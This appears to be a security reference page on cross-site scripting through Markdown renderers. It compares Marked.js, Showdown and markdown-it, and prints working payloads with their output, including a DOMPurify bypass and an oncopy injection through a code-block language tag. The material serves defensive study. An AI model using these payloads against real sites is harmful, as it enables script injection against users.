Skip to content

Markdown XSS

Parsing and rendering Markdown into HTML can cause XSS vulnerabilities if the output is not sanitized.

No sanitization

Marked.js: 💀(Vulnerable)

js
marked.parse(`<img src=x onerror=alert(1)>`);
// '<img src=x onerror=alert(1)>'

Showdown: 💀(Vulnerable)

js
(new showdown.Converter()).makeHtml(`<img src=x onerror=alert(1)>`)
//'<p><img src=x onerror=alert(1)></p>'

markdown-it: 🆗

js
md.render(`<img src=x onerror=alert(1)>`)
// '<p>&lt;img src=x onerror=alert(1)&gt;</p>\n'

With DOMPurify

Marked.js: 💀(Vulnerable)

js
marked.parse(DOMPurify.sanitize(`<a title="a

<img src=x onerror=alert(1)>">some text</a>`))
// '<p>&lt;a title=&quot;a</p>\n<p><img src=x onerror=alert(1)>&quot;&gt;some text</a></p>\n'

DOMPurify parses the <a title="a as the start of an attribute that extends to the end of the tag, while marked escapes the quote, parsing the img as a tag.

showdown: 💀(Vulnerable)

js
(new showdown.Converter()).makeHtml(DOMPurify.sanitize(`<a title="a

<img src=x onerror=alert(1)>">some text</a>`))
// '<p>&lt;a title="a</p>\n<p><img src=x onerror=alert(1)>"&gt;some text</a></p>'

Similarly to marked, showdown is also vulnerable to this attack. However, the " is not escaped, which is particularly interesting.

markdown-it: 🆗

js
md.render(DOMPurify.sanitize(`<a title="a

<img src=x onerror=alert(1)>">some text</a>`))
// '<p>&lt;a title=&quot;a</p>\n<p>&lt;img src=x onerror=alert(1)&gt;&quot;&gt;some text&lt;/a&gt;</p>\n'

As in the unsanitized case, markdown-it escapes all special characters including <> so it is not vulnerable to this attack.

With DOMPurify: code blocks attack

showdown: 🤔 Maybe vulnerable?

js
(new showdown.Converter()).makeHtml(DOMPurify.sanitize("```js\"oncopy=alert()\nsus\n```"))
//'<pre><code class="js"oncopy=alert() language-js"oncopy=alert()">sus\n</code></pre>'

When rendering codeblocks, language can be specified. The specified language is injected into the class of the generated code tag. This allows us to specify a " to terminate the class attribute and inject arbitrary code into the code tag. While this does not immediately lead to XSS, we can leverage events such as oncopy to trigger XSS on user action.

markdown-it and marked: 🆗 These libraries are not vulnerable as they escape ".